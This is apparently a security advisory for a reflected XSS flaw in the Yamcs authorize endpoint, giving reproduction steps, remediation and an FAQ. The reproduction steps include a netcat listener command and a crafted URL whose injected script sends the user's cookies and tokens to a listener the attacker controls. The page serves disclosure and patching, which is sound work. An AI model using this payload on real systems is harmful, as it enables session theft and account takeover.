CVE-2026-55549: Yamcs: Reflected XSS in the URL of the Authorize Endpoint
Attack type: Unauthenticated remote
Impact: Attackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.
Affected components: authorize.html, AuthHandler.java, HandlerContext.java
A Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.
Using a specially crafted URL, you are able to execute a JavaScript alert() call in the browser:
<img width="1794" height="816" alt="image" src="https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e" />
You then use JavaScript to obtain the user's cookies and display them in the alert:
<img width="1794" height="1290" alt="image" src="https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435" />
Finally, use the fetch function to send the user's cookies to a remote server which we controlled:
<img width="2370" height="1025" alt="image" src="https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8" />
Now you can set these cookies in our own browser and login to Yamcs as the user.
Steps to Reproduce 1. Start Yamcs 2. Login as a user 3. In a terminal, start a netcat listener:
nc -nlvp 8888
4. Paste the following URL payload in the browser
http://localhost:8090/auth/authorize?clientid=yamcs-web&state=Lw&responsemode=query&responsetype=code&scope=openid&redirecturi=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y"><script>fetch(http://localhost:8888?c=${document.cookie})<%2Fscript>ekuou
5. You will receive a connection on your netcat listener containing the user's access token and refresh token.
Acknowledgements This vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.
Other sources
Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirecturi parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
maven/org.yamcs:yamcs-coreto a version that resolves this vulnerability.Fixed in 5.9.4 - Upgrade
Upgrade
Yamcsto a version that resolves this vulnerability.Fixed in 5.9.4 - Compensating control
As a mitigation while patching, restrict access to the Yamcs /auth/authorize endpoint to trusted users/clients only (e.g., via firewall/ACL allowlists) to reduce exposure to crafted authorization URLs.
Event History
Frequently Asked Questions
Which users are at risk of account compromise?
Any logged-in Yamcs user who opens an attacker-crafted URL can have JavaScript executed in their browser. The vulnerability can expose that user's session and refresh tokens, enabling account takeover.
Does exploitation require authentication or a difficult attack setup?
No attacker authentication is required, and the attack complexity is low. Exploitation does require user interaction: a Yamcs user must visit the specially crafted URL.
Which versions should be treated as affected, and what update is indicated?
Yamcs versions 5.8.6 and earlier are affected. The provided release reference identifies yamcs-5.9.4 as the available release to review for remediation.
Which components should be reviewed when assessing exposure?
The affected components named in the advisory are authorize.html, AuthHandler.java, and HandlerContext.java. Deployments using the yamcs-core Maven artifact should be assessed.